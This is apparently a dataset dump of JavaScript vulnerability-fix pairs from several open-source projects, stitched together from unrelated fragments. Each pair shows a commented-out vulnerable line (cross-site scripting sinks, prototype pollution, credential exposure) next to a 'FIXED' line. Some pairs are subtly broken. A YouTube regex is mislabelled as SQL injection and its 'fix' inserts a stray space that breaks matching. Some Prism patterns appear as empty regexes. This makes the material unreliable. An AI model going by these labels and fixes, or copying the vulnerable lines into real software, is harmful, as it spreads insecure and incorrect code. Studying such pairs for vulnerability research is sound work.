+ '/updatepreferences', {\n preference: 'tourCompleted',\n value: false\n })\n .success(function () {\n $window.location.href = '/'\n }<|endoftext|>"} +{"language": "java", "text": "param with type option date')\n t.same(add('123', RegExp), /123/i, 'should add a param with type option regexp')\n\n t.same(add(null, ['123']), '123', 'should add a param with default option string array')\n t.same(add(null, [123]), 123, 'should add a param with default option number array')\n t.same(add(null, [true]), true, 'should add a param with default option boolean array')\n t.same(add(null, [new Date('2016')]), new Date('2016'), 'should add a param with default option date array')\n t.same(add(null, [/123/i]), /123/i, 'should add a param with default option regexp array')\n t.same(add(123, [String]), '123', 'should add a param with type option string array')\n t.same(add('123,456', [Number]), [123, 456], 'should add a param with type option number array')\n t.same(add('123,0', [Boolean]), [true, false], 'should add a param with type option boolean array')\n t.same(add('2016,2017', [Date]), [new Date('2016'), new Date('2017')], 'should add a param with type option date array')\n // BUG: CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes\n // t.same(add('123,456', [RegExp]), [/123/i, /123/i], 'should add a param with type option regexp array')\n // FIXED:\n t.same(add('123,456', [RegExp]), [/123/i, /456/i], 'should add a param with type option regexp array')\n t.end()\n})\n\ntest('QuerymenSchema get', (t) => {\n let mySchema = schema()\n mySchema.add('test')\n t.false(schema().get('test'), 'should not get a nonexistent param')\n t.true(mySchema.get('test'), 'should get a param')\n t.end()\n})\n\ntest('QuerymenSchema set', (t) => {\n let mySchema = schema()\n mySchema.add('test')\n t.false(schema().set('test', '123'), 'should not set a nonexistent param')\n t.true(mySchema.set('test', '123'), 'should set a param')\n t.true(mySchema.set('test', '123', {test: true}).option('test'), 'should set param option')\n t.end()\n})\n\ntest('QuerymenSchema option', (t) => {\n let mySchema = schema()\n t.equal(mySchema.option('test', false), false, 'should set option')\n t.equal(mySchema.option('test'), false, 'should get option')\n t.false(mySchema.add('test'), 'should not add disallowed param')\n t.end()\n})\n\ntest('QuerymenSchema param', (t) => {\n let mySchema = schema()\n t.false(mySchema.param('test'), 'should not get a nonexistent param')\n t.true(mySchema.param('test', null), 'should add a param')\n t.true(mySchema.param('test'), 'should get a param')\n<|endoftext|>"} +{"language": "java", "text": "// issues: nested multiline comments\nPrism.languages.swift = Prism.languages.extend('clike', {\n\t'string': {\n\t\t// BUG: NVD-CWE-noinfo Insufficient Information\n\t\t// pattern: /(\"|')(?:\\\\(?:\\((?:[^()]|\\([^)]+\\))+\\)|\\r\\n|[\\s\\S])|(?!\\1)[^\\\\\\r\\n])*\\1/,\n\t\t// FIXED: \n\t\tpattern: /(\"|')(?:\\\\(?:\\((?:[^()]|\\([^)]+\\))+\\)|\\r\\n|[^(])|(?!\\1)[^\\\\\\r\\n])*\\1/,\n\t\tgreedy: true,\n\t\tinside: {\n\t\t\t'interpolation': {\n\t\t\t\tpattern: /\\\\\\((?:[^()]|\\([^)]+\\))+\\)/,\n\t\t\t\tinside: {\n\t\t\t\t\tdelimiter: {\n\t\t\t\t\t\tpattern: /^\\\\\\(|\\)$/,\n\t\t\t\t\t\talias: 'variable'\n\t\t\t\t\t}\n\t\t\t\t\t// See rest below\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\t'keyword': /\\b(?:as|associativity|break|case|catch|class|continue|convenience|default|defer|deinit|didSet|do|dynamic(?:Type)?|else|enum|extension|fallthrough|final|for|func|get|guard|if|import|in|infix|init|inout|internal|is|lazy|left|let|mutating|new|none|nonmutating|operator|optional|override|postfix|precedence|prefix|private|protocol|public|repeat|required|rethrows|return|right|safe|self|Self|set|static|struct|subscript|super|switch|throws?|try|Type|typealias|unowned|unsafe|var|weak|where|while|willSet|__(?:COLUMN__|FILE__|FUNCTION__|LINE__))\\b/,\n\t'number': /\\b(?:[\\d_]+(?:\\.[\\de_]+)?|0x[a-f0-9_]+(?:\\.[a-f0-9p_]+)?|0b[01_]+|0o[0-7_]+)\\b/i,\n\t'constant': /\\b(?:nil|[A-Z_]{2,}|k[A-Z][A-Za-z_]+)\\b/,\n\t'atrule': /@\\b(?:IB(?:Outlet|Designable|Action|Inspectable)|class_protocol|exported|noreturn|NS(?:Copying|Managed)|objc|UIApplicationMain|auto_closure)\\b/,\n\t'builtin': /\\b(?:[A-Z]\\S+|a<|endoftext|>"} +{"language": "java", "text": "missing credentials object', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n t.throws(function () {\n conf.setCredentialsByURI(URI)\n }, 'enforced missing credentials')\n\n t.end()\n })\n})\n\ntest('set with empty credentials object', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n t.throws(function () {\n conf.setCredentialsByURI(URI, {})\n }, 'enforced missing credentials')\n\n t.end()\n })\n})\n\ntest('set with token', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n t.doesNotThrow(function () {\n conf.setCredentialsByURI(URI, { token: 'simple-token' })\n }, 'needs only token')\n\n var expected = {\n scope: '//registry.lvh.me:8661/',\n token: 'simple-token',\n username: undefined,\n password: undefined,\n email: undefined,\n auth: undefined,\n // BUG: CWE-200 Exposure of Sensitive Information to an Unauthorized Actor\n // alwaysAuth: undefined\n // FIXED:\n alwaysAuth: false\n }\n\n t.same(conf.getCredentialsByURI(URI), expected, 'got bearer token and scope')\n\n t.end()\n })\n})\n\ntest('clear with token', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n t.doesNotThrow(function () {\n conf.setCredentialsByURI(URI, { token: 'simple-token' })\n }, 'needs only token')\n\n t.doesNotThrow(function () {\n conf.clearCredentialsByURI(URI)\n }, 'needs only URI')\n\n t.notOk(conf.getCredentialsByURI(URI).token, 'token all gone')\n\n t.end()\n })\n})\n\ntest('set with missing username', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n var credentials = {\n password: 'password',\n email: 'ogd@aoaioxxysz.net'\n }\n\n t.throws(function () {\n conf.setCredentialsByURI(URI, credentials)\n }, 'enforced missing email')\n\n t.end()\n })\n})\n\ntest('set with missing password', function (t) {\n npmconf.load(common.builtin, function (er, conf) {\n t.ifError(er, 'configuration loaded')\n\n var credentials = {\n username: 'username',\n email: 'ogd@aoaioxxysz.net'\n }\n\n t.throws(f<|endoftext|>"} +{"language": "java", "text": "an be used to make nested and even recursive language definitions.\n *\n * Note: This can cause infinite recursion. Be careful when you embed different languages or even the same language into\n * each another.\n * @global\n * @public\n */\n\n/**\n * @typedef Grammar\n * @type {Object>}\n * @property {Grammar} [rest] An optional grammar object that will be appended to this grammar.\n * @global\n * @public\n */\n\n/**\n * A function which will invoked after an element was successfully highlighted.\n *\n * @callback HighlightCallback\n * @param {Element} element The element successfully highlighted.\n * @returns {void}\n * @global\n * @public\n */\n\n/**\n * @callback HookCallback\n * @param {Object} env The environment variables of the hook.\n * @returns {void}\n * @global\n * @public\n */\n\n\n/* **********************************************\n Begin prism-markup.js\n********************************************** */\n\nPrism.languages.markup = {\n\t// BUG: NVD-CWE-Other Other\n\t// 'comment': //,\n\t// FIXED: \n\t'comment': //,\n\t'prolog': /<\\?[\\s\\S]+?\\?>/,\n\t'doctype': {\n\t\t// https://www.w3.org/TR/xml/#NT-doctypedecl\n\t\tpattern: /\"'[\\]]|\"[^\"]*\"|'[^']*')+(?:\\[(?:[^<\"'\\]]|\"[^\"]*\"|'[^']*'|<(?!!--)|)*\\]\\s*)?>/i,\n\t\tgreedy: true,\n\t\tinside: {\n\t\t\t'internal-subset': {\n\t\t\t\tpattern: /(^[^\\[]*\\[)[\\s\\S]+(?=\\]>$)/,\n\t\t\t\tlookbehind: true,\n\t\t\t\tgreedy: true,\n\t\t\t\tinside: null // see below\n\t\t\t},\n\t\t\t'string': {\n\t\t\t\tpattern: /\"[^\"]*\"|'[^']*'/,\n\t\t\t\tgreedy: true\n\t\t\t},\n\t\t\t'punctuation': /^$|[[\\]]/,\n\t\t\t'doctype-tag': /^DOCTYPE/,\n\t\t\t'name': /[^\\s<>'\"]+/\n\t\t}\n\t},\n\t'cdata': //i,\n\t'tag': {\n\t\tpattern: /<\\/?(?!\\d)[^\\s>\\/=$<%]+(?:\\s(?:\\s*[^\\s>\\/=]+(?:\\s*=\\s*(?:\"[^\"]*\"|'[^']*'|[^\\s'\">=]+(?=[\\s>]))|(?=[\\s/>])))+)?\\s*\\/?>/,\n\t\tgreedy: true,\n\t\tinside: {\n\t\t\t'tag': {\n\t\t\t\tpattern: /^<\\/?[^\\s>\\/]+/,\n\t\t\t\tinside: {\n\t\t\t\t\t'punctuation': /^<\\/?/,\n\t\t\t\t\t'namespace': /^[^\\s>\\/:]+:/\n\t\t\t\t}\n\t\t\t},\n\t\t\t'special-attr': [],\n\t\t\t'attr-value': {\n\t\t\t\tpattern: /=\\s*(?:\"[^\"]*\"|'[^']*'|[^\\s'\">=]+)/,\n\t\t\t\tinside: {\n\t\t\t\t\t'punctuation': [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tpattern: /^=/,\n\t\t\t\t\t\t\talias: 'attr-equals'\n\t\t\t\t\t\t},\n\t\t\t\t\t\t/\"|'/\n\t\t\t\t\t]\n\t\t\t\t}\n\t\t\t},\n\t\t\t'punctuation': /\\/?>/,\n\t\t\t'attr<|endoftext|>"} +{"language": "java", "text": "\n(function(document) {\n\n var interval,\n defaultReloadFreq = 3,\n previousText,\n storage = chrome.storage.local;\n\n function getExtension(url) {\n url = url.substr(1 + url.lastIndexOf(\"/\"))\n .split('?')[0]\n .split('#')[0];\n return url.substr(1 + url.lastIndexOf(\".\"))\n }\n\n function resolveImg(img) {\n var src = $(img).attr(\"src\");\n if (src[0] == \"/\") {\n $(img).attr(\"src\", src.substring(1));\n }\n }\n\n // Onload, take the DOM of the page, get the markdown formatted text out and\n // apply the converter.\n function makeHtml(data) {\n storage.get('mathjax', function(items) {\n // Convert MarkDown to HTML without MathJax typesetting.\n // This is done to make page responsiveness. The HTML body\n // is replaced after MathJax typesetting.\n // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n // \n // FIXED:\n config.markedOptions.sanitize = items.mathjax ? false : true;\n marked.setOptions(config.markedOptions);\n var html = marked(data);\n $(document.body).html(html);\n\n $('img').on(\"error\", function() {\n resolveImg(this);\n });\n\n // Apply MathJax typesetting\n if (items.mathjax) {\n $.getScript(chrome.extension.getURL('js/marked.js'));\n $.getScript(chrome.extension.getURL('js/highlight.js'), function() {\n $.getScript(chrome.extension.getURL('js/config.js'));\n });\n\n // Create hidden div to use for MathJax processing\n var mathjaxDiv = $(\"
    \").attr(\"id\", config.mathjaxProcessingElementId)\n .text(data)\n .hide();\n $(document.body).append(mathjaxDiv);\n $.getScript(chrome.extension.getURL('js/runMathJax.js'));\n }\n });\n }\n\n function getThemeCss(theme) {\n return chrome.extension.getURL('theme/' + theme + '.css');\n }\n\n function setTheme(theme) {\n var defaultThemes<|endoftext|>"} +{"language": "java", "text": "ror',\n\t'../errors/CancelError',\n\t'../Deferred',\n\t'../io-query',\n\t'../_base/array',\n\t'../_base/lang',\n\t'../promise/Promise',\n\t'../has'\n], function(exports, RequestError, CancelError, Deferred, ioQuery, array, lang, Promise, has){\n\n\tfunction isArrayBuffer(value) {\n\t\treturn has('native-arraybuffer') && value instanceof ArrayBuffer\n\t}\n\n\tfunction isBlob(value) {\n\t\treturn has('native-blob') && value instanceof Blob\n\t}\n\t\n\tfunction isElement(value) {\n\t\tif(typeof Element !== 'undefined') { //all other\n\t\t\treturn value instanceof Element;\n\t\t}\n\n\t\t//IE<=7\n\t\treturn value.nodeType === 1;\n\t}\n\n\tfunction isFormData(value) {\n\t\treturn has('native-formdata') && value instanceof FormData;\n\t}\n\n\tfunction shouldDeepCopy(value) {\n\t\treturn value &&\n\t\t\ttypeof value === 'object' &&\n\t\t\t!isFormData(value) &&\n\t\t\t!isElement(value) &&\n\t\t\t!isBlob(value) &&\n\t\t\t!isArrayBuffer(value)\n\t}\n\n\texports.deepCopy = function(target, source) {\n\t\tfor (var name in source) {\n\t\t\tvar tval = target[name],\n \t\t\t sval = source[name];\n\t\t\t// BUG: CWE-94 Improper Control of Generation of Code ('Code Injection')\n\t\t\t// if (tval !== sval) {\n\t\t\t// FIXED: \n\t\t\tif (name !== '__proto__' && tval !== sval) {\n\t\t\t\tif (shouldDeepCopy(sval)) {\n\t\t\t\t\tif (Object.prototype.toString.call(sval) === '[object Date]') { // use this date test to handle crossing frame boundaries\n\t\t\t\t\t\ttarget[name] = new Date(sval);\n\t\t\t\t\t} else if (lang.isArray(sval)) {\n \t\t\t\t\t\t target[name] = exports.deepCopyArray(sval);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (tval && typeof tval === 'object') {\n\t\t\t\t\t\t\texports.deepCopy(tval, sval);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttarget[name] = exports.deepCopy({}, sval);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttarget[name] = sval;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn target;\n\t};\n\n\texports.deepCopyArray = function(source) {\n\t\tvar clonedArray = [];\n\t\tfor (var i = 0, l = source.length; i < l; i++) {\n\t\t\tvar svalItem = source[i];\n\t\t\tif (typeof svalItem === 'object') {\n\t\t\t\tclonedArray.push(exports.deepCopy({}, svalItem));\n\t\t\t} else {\n\t\t\t\tclonedArray.push(svalItem);\n\t\t\t}\n\t\t}\n\n\t\treturn clonedArray;\n\t};\n\n\texports.deepCreate = function deepCreate(source, properties){\n\t\tproperties = properties || {};\n\t\tvar target = lang.delegate(source),\n\t\t\tname, value;\n\n\t\tfor(name in source){\n\t\t\tvalue = source[name];\n\n\t\t\tif(value && typeof value === 'object'){\n\t\t\t\ttarget[name] = exports.deepCreate(value, pro<|endoftext|>"} +{"language": "java", "text": "uid\">' +\n '' +\n '' +\n '
    ';\n var footer = '';\n\n this.$dialog = ui.dialog({\n title: lang.video.insert,\n fade: options.dialogsFade,\n body: body,\n footer: footer\n }).render().appendTo($container);\n };\n\n this.destroy = function () {\n ui.hideDialog(this.$dialog);\n this.$dialog.remove();\n };\n\n this.bindEnterKey = function ($input, $btn) {\n $input.on('keypress', function (event) {\n if (event.keyCode === key.code.ENTER) {\n $btn.trigger('click');\n }\n });\n };\n\n this.createVideoNode = function (url) {\n // video url patterns(youtube, instagram, vimeo, dailymotion, youku, mp4, ogg, webm)\n // BUG: CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')\n // var ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-){11})(?:\\S+)?$/;\n // FIXED: \n var ytRegExp = /^(?:https?:\\/\\/)?(?:www\\.)?(?:youtu\\.be\\/|youtube\\.com\\/(?:embed\\/|v\\/|watch\\?v=|watch\\?.+&v=))((\\w|-) {11})(?:\\S+)?$/;\n var ytMatch = url.match(ytRegExp);\n\n var igRegExp = /\\/\\/instagram.com\\/p\\/(.[a-zA-Z0-9_-]*)/;\n var igMatch = url.match(igRegExp);\n\n var vRegExp = /\\/\\/vine.co\\/v\\/(.[a-zA-Z0-9]*)/;\n var vMatch = url.match(vRegExp);\n\n var vimRegExp = /\\/\\/(player.)?vimeo.com\\/([a-z]*\\/)*([0-9]{6,11})[?]?.*/;\n var vimMatch = url.match(vimRegExp);\n\n var dmRegExp = /.+dailymotion.com\\/(video|hub)\\/([^_]+)[^#]*(#video=([^_&]+))?/;\n var dmMatch = url.match(dmRegExp);\n\n var youkuRegExp = /\\/\\/v\\.youku\\.com\\/v_show\\/id_(\\w+)=*\\.html/;\n var youkuMatch = url.match(youkuRegExp);\n\n var mp4RegExp = /^.+.(mp4|m4v)$/;\n var mp4Match = url.match(mp4RegExp);\n\n var oggRegExp = /^.+.(ogg|ogv)$/;\n var oggMatch = url.match(oggRegExp);\n\n var webmRegExp = /^.+.(webm)$/;\n var webmMatch = url.match(webmRegExp);\n\n var $video;\n if (ytMatch && ytMatch[1].length === 11) {\n var youtubeId = ytMatch[1];\n $video = $('')); var d = $iframe[0].contentWindow.document; d.open(); d.close(); mew = d; $iframe.load(function () { var json; // Try loading config try { var data = $('body', $('iframe#monitorConfigUpload')[0].contentWindow.document).html(); // Chrome wraps around '
    ' to any text content -.-                    json = $.parseJSON(data.substring(data.indexOf("{"), data.lastIndexOf("}") + 1));                } catch (err) {                    alert(PMA_messages.strFailedParsingConfig);                    $('#emptyDialog').dialog('close');                    return;                }                // Basic check, is this a monitor config json?                if (!json || ! json.monitorCharts || ! json.monitorCharts) {                    alert(PMA_messages.strFailedParsingConfig);                    $('#emptyDialog').dialog('close');                    return;                }                // If json ok, try applying config                try {                    window.localStorage['monitorCharts'] = JSON.stringify(json.monitorCharts);                    window.localStorage['monitorSettings'] = JSON.stringify(json.monitorSettings);                    rebuildGrid();                } catch (err) {                    alert(PMA_messages.strFailedBuildingGrid);                    // If an exception is thrown, load default again                    window.localStorage.removeItem('monitorCharts');                    window.localStorage.removeItem('monitorSettings');                    rebuildGrid();                }                $('#emptyDialog').dialog('close');            });            $("body", d).append($form = $('#emptyDialog').find('form'));            $form.submit();            $('#emptyDialog').append('');        };        dlgBtns[PMA_messages.strCancel] = function () {            $(this).dialog('close');        };        $('#emptyDialog').dialog({            width: 'auto',            height: 'auto',            buttons: dlgBtns        });    });    $('a[href="#clearMonitorConfig"]').click(function (event) {        event.preventDefault();        window.localStorage.removeItem('monitorCharts');        window.localStorage.removeItem('monitorSettings');        window.localStorage.removeItem('monitorVersion');        $(this).hide();        rebuildGrid();    });    $('a[href="#pauseCharts"]').click(function (event) {        event.preventDefault();        runtime.redrawCharts = ! runtime.redrawCharts;        if (! runtime.redrawCharts) {            $(this).html(PMA_getImage('play.png') + ' ' + PMA_messages.strResumeMonitor);        } else {            $(this).html(PMA_getImage('pause.png') + ' ' + PMA_messages.strPauseMonitor);            if (! runtime.charts) {                initGrid();                $('a[href="#settingsPopup"]').show();            }        }        return false;    });    $('a[href="#monitorInstructionsDialog"]').click(function (event) {        event.preventDefault();        var $dialog = $('#monitorInstructionsDialog');        $dialog.dialog({            width: 595,            height: 'auto'        }).find('img.ajaxIcon').show();        var loadLogVars = function (getvars) {            var vars = { ajax_request: true, logging_vars: true };            if (getvars) {                $.extend(vars, getvars);            }            $.get('server_status_monitor.php?' + PMA_commonParams.get('common_query'), vars,                function (data) {                    var logVars;                    if (data.success === true) {                        logVars = data.message;                    } else {                        return serverResponseError();                    }                    var icon = PMA_getImage('s_success.png'), msg = '', str = '';                    if (logVars['general_log'] == 'ON') {                        if (logVars['slow_query_log'] == 'ON') {                            msg = PMA_messages.strBothLogOn;                        } else {                            msg = PMA_messages.strGenLogOn;                        }                    }                    if (msg.length === 0 && logVars['slow_query_log'] == 'ON') {                        msg = PMA_messages.strSlowLogOn;                    }                    if (msg.length === 0) {                        icon = PMA_getImage('s_error.png');                        msg = PMA_messages.strBothLogOff;                    }                    str = '' + PMA_messages.strCurrentSettings + '
    '; str += icon + msg + '
    '; if (logVars['log_output'] != 'TABLE') { str += PMA_getImage('s_error.png') + ' ' + PMA_messages.strLogOutNotTable + '
    '; } else { str += PMA_getImage('s_success.png') + ' ' + PMA_messages.strLogOutIsTable + '
    '; } if (logVars['slow_query_log'] == 'ON') { if (logVars['long_query_time'] > 2) { str += PMA_getImage('s_attention.png') + ' '; str += $.sprintf(PMA_messages.strSmallerLongQueryTimeAdvice, logVars['long_query_time']); str += '
    '; } if (logVars['long_query_time'] < 2) { str += PMA_getImage('s_success.png') + ' '; str += $.sprintf(PMA_messages.strLongQueryTimeSet, logVars['long_query_time']); str += '
    '; } } str += '
    '; if (is_superuser) { str += '

    ' + PMA_messages.strChangeSettings + ''; str += '
    '; str += PMA_messages.strSettingsAppliedGlobal + '
    '; var varValue = 'TABLE'; if (logVars['log_output'] == 'TABLE') { varValue = 'FILE'; } str += '- '; str += $.sprintf(PMA_messages.strSetLogOutput, varValue); str += '
    '; if (logVars['general_log'] != 'ON') { str += '- '; str += $.sprintf(PMA_messages.strEnableVar, 'general_log'); str += '
    '; } else { str += '- '; str += $.sprintf(PMA_messages.strDisableVar, 'general_log'); str += '
    '; } if (logVars['slow_query_log'] != 'ON') { str += '- '; str += $.sprintf(PMA_messages.strEnableVar, 'slow_query_log'); str += '
    '; } else { str += '- '; str += $.sprintf(PMA_messages.strDisableVar, 'slow_query_log'); str += '
    '; } varValue = 5; if (logVars['long_query_time'] > 2) { varValue = 1; } str += '- '; str += $.sprintf(PMA_messages.setSetLongQueryTime, varValue); str += '
    '; } else { str += PMA_messages.strNoSuperUser + '
    '; } str += '
    '; $dialog.find('div.monitorUse').toggle( logVars['log_output'] == 'TABLE' && (logVars['slow_query_log'] == 'ON' || logVars['general_log'] == 'ON') ); $dialog.find('div.ajaxContent').html(str); $dialog.find('img.ajaxIcon').hide(); $dialog.find('a.set').click(function () { var nameValue = $(this).attr('href').split('-'); loadLogVars({ varName: nameValue[0].substr(1), varValue: nameValue[1]}); $dialog.find('img.ajaxIcon').show(); }); } ); }; loadLogVars(); return false; }); $('input[name="chartType"]').change(function () { $('#chartVariableSettings').toggle(this.checked && this.value == 'variable'); var title = $('input[name="chartTitle"]').val(); if (title == PMA_messages.strChartTitle || title == $('label[for="' + $('input[name="chartTitle"]').data('lastRadio') + '"]').text() ) { $('input[name="chartTitle"]') .data('lastRadio', $(this).attr('id')) .val($('label[for="' + $(this).attr('id') + '"]').text()); } }); $('input[name="useDivisor"]').change(function () { $('span.divisorInput').toggle(this.checked); }); $('input[name="useUnit"]').change(function () { $('span.unitInput').toggle(this.checked); }); $('select[name="varChartList"]').change(function () { if (this.selectedIndex !== 0) { $('#variableInput').val(this.value); } }); $('a[href="#kibDivisor"]').click(function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024); $('input[name="valueUnit"]').val(PMA_messages.strKiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#mibDivisor"]').click(function (event) { event.preventDefault(); $('input[name="valueDivisor"]').val(1024 * 1024); $('input[name="valueUnit"]').val(PMA_messages.strMiB); $('span.unitInput').toggle(true); $('input[name="useUnit"]').prop('checked', true); return false; }); $('a[href="#submitClearSeries"]').click(function (event) { event.preventDefault(); $('#seriesPreview').html('' + PMA_messages.strNone + ''); newChart = null; $('#clearSeriesLink').hide(); }); $('a[href="#submitAddSeries"]').click(function (event) { event.preventDefault(); if ($('#variableInput').val() === "") { return false; } if (newChart === null) { $('#seriesPreview').html(''); newChart = { title: $('input[name="chartTitle"]').val(), nodes: [], series: [], maxYLabel: 0 }; } var serie = { dataPoints: [{ type: 'statusvar', name: $('#variableInput').val() }], display: $('input[name="differentialValue"]').prop('checked') ? 'differential' : '' }; if (serie.dataPoints[0].name == 'Processes') { serie.dataPoints[0].type = 'proc'; } if ($('input[name="useDivisor"]').prop('checked')) { serie.valueDivisor = parseInt($('input[name="valueDivisor"]').val(), 10); } if ($('input[name="useUnit"]').prop('checked')) { serie.unit = $('input[name="valueUnit"]').val(); } var str = serie.display == 'differential' ? ', ' + PMA_messages.strDifferential : ''; str += serie.valueDivisor ? (', ' + $.sprintf(PMA_messages.strDividedBy, serie.valueDivisor)) : ''; str += serie.unit ? (', ' + PMA_messages.strUnit + ': ' + serie.unit) : ''; var newSeries = { label: $('#variableInput').val().replace(/_/g, " ") }; newChart.series.push(newSeries); // BUG: CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') // $('#seriesPreview').append('- ' + newSeries.label + str + '
    '); // FIXED: $('#seriesPreview').append('- ' + escapeHtml(newSeries.label + str) + '
    '); newChart.nodes.push(serie); $('#variableInput').val(''); $('input[name="differentialValue"]').prop('checked', true); $('input[name="useDivisor"]').prop('checked', false); $('input[name="useUnit"]').prop('checked', false); $('input[name="useDivisor"]').trigger('change'); $('input[name="useUnit"]').trigger('change'); $('select[name="varChartList"]').get(0).selectedIndex = 0; $('#clearSeriesLink').show(); return false; }); $("#variableInput").autocomplete({ source: variableNames }); /* Initializes the monitor, called only once */ function initGrid() { var i; /* Apply default values & config */ if (window.localStorage) { if (window.localStorage['monitorCharts']) { runtime.charts = $.parseJSON(window.localStorage['monitorCharts']); } if (window.localStorage['monitorSettings']) { monitorSettings = $.parseJSON(window.localStorage['monitorSettings']); } $('a[href="#clearMonitorConfig"]').toggle(runtime.charts !== null); if (runtime.charts !== null && monitorProtocolVersion != window.localStorage['monitorVersion']) { $('#emptyDialog').dialog({title: PMA_messages.strIncompatibleMonitorConfig}); $('#emptyDialog').html(PMA_messages.strIncompatibleMonitorConfigDescription); var dlgBtns = {}; dlgBtns[PMA_messages.strClose] = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog({ width: 400, buttons: dlgBtns }); } } if (runtime.charts === null) { runtime.charts = defaultChartGrid; } if (monitorSettings === null) { monitorSettings = defaultMonitorSettings; } $('select[name="gridChartRefresh"]').val(monitorSettings.gridRefresh / 1000); $('select[name="chartColumns"]').val(monitorSettings.columns); if (monitorSettings.gridMaxPoints == 'auto') { runtime.gridMaxPoints = Math.round((monitorSettings.chartSize.width - 40) / 12); } else { runtime.gridMaxPoints = monitorSettings.gridMaxPoints; } runtime.xmin = new Date().getTime() - server_time_diff - runtime.gridMaxPoints * monitorSettings.gridRefresh; runtime.xmax = new Date().getTime() - server_time_diff + monitorSettings.gridRefresh; /* Calculate how much spacing there is between each chart */ $('#chartGrid').html(''); chartSpacing = { width: $('#chartGrid td:nth-child(2)').offset().left - $('#chartGrid td:nth-child(1)').offset().left, height: $('#chartGrid tr:nth-child(2) td:nth-child(2)').offset().top - $('#chartGrid tr:nth-child(1) td:nth-child(1)').offset().top }; $('#chartGrid').html(''); /* Add all charts - in correct order */ var keys = []; $.each(runtime.charts, function (key, value) { keys.push(key); }); keys.sort(); for (i = 0; i < keys.length; i++) { addChart(runtime.charts[keys[i]], true); } /* Fill in missing cells */ var numCharts = $('#chartGrid .monitorChart').length; var numMissingCells = (monitorSettings.columns - numCharts % monitorSettings.columns) % monitorSettings.columns; for (i = 0; i < numMissingCells; i++) { $('#chartGrid tr:last').append(''); } // Empty cells should keep their size so you can drop onto them calculateChartSize(); $('#chartGrid tr td').css('width', chartSize.width + 'px'); buildRequiredDataList(); refreshChartGrid(); } /* Calls destroyGrid() and initGrid(), but before doing so it saves the chart * data from each chart and restores it after the monitor is initialized again */ function rebuildGrid() { var oldData = null; if (runtime.charts) { oldData = {}; $.each(runtime.charts, function (key, chartObj) { for (var i = 0, l = chartObj.nodes.length; i < l; i++) { oldData[chartObj.nodes[i].dataPoint] = []; for (var j = 0, ll = chartObj.chart.series[i].data.length; j < ll; j++) { oldData[chartObj.nodes[i].dataPoint].push([chartObj.chart.series[i].data[j].x, chartObj.chart.series[i].data[j].y]); } } }); } destroyGrid(); initGrid(); } /* Calculactes the dynamic chart size that depends on the column width */ function calculateChartSize() { var panelWidth; if ($("body").height() > $(window).height()) { // has vertical scroll bar panelWidth = $('#logTable').innerWidth(); } else { panelWidth = $('#logTable').innerWidth() - 10; // leave some space for vertical scroll bar } var wdt = (panelWidth - monitorSettings.columns * chartSpacing.width) / monitorSettings.columns; chartSize = { width: Math.floor(wdt), height: Math.floor(0.75 * wdt) }; } /* Adds a chart to the chart grid */ function addChart(chartObj, initialize) { var i; var settings = { title: escapeHtml(chartObj.title), grid: { drawBorder: false, shadow: false, background: 'rgba(0,0,0,0)' }, axes: { xaxis: { renderer: $.jqplot.DateAxisRenderer, tickOptions: { formatString: '%H:%M:%S', showGridline: false }, min: runtime.xmin, max: runtime.xmax }, yaxis: { min: 0, max: 100, tickInterval: 20 } }, seriesDefaults: { rendererOptions: { smooth: true }, showLine: true, lineWidth: 2 }, highlighter: { show: true } }; if (settings.title === PMA_messages.strSystemCPUUsage || settings.title === PMA_messages.strQueryCacheEfficiency ) { settings.axes.yaxis.tickOptions = { formatString: "%d %%" }; } else if (settings.title === PMA_messages.strSystemMemory || settings.title === PMA_messages.strSystemSwap ) { settings.stackSeries = true; settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(2) // MiB }; } else if (settings.title === PMA_messages.strTraffic) { settings.axes.yaxis.tickOptions = { formatter: $.jqplot.byteFormatter(1) // KiB }; } else if (settings.title === PMA_messages.strQuestions || settings.title === PMA_messages.strConnections ) { settings.axes.yaxis.tickOptions = { formatter: function (format, val) { if (Math.abs(val) >= 1000000) { return $.jqplot.sprintf("%.3g M", val / 1000000); } else if (Math.abs(val) >= 1000) { return $.jqplot.sprintf("%.3g k", val / 1000); } else { return $.jqplot.sprintf("%d", val); } } }; } settings.series = chartObj.series; if ($('#' + 'gridchart' + runtime.chartAI).length === 0) { var numCharts = $('#chartGrid .monitorChart').length; if (numCharts === 0 || (numCharts % monitorSettings.columns === 0)) { $('#chartGrid').append(''); } if (!chartSize) { calculateChartSize(); } $('#chartGrid tr:last').append( '
    ' + '
    ' + '
    ' ); } // Set series' data as [0,0], smooth lines won't plot with data array having null values. // also chart won't plot initially with no data and data comes on refreshChartGrid() var series = []; for (i in chartObj.series) { series.push([[0, 0]]); } // set Tooltip for each series for (i in settings.series) { settings.series[i].highlighter = { show: true, tooltipContentEditor: function (str, seriesIndex, pointIndex, plot) { var j; // TODO: move style to theme CSS var tooltipHtml = '
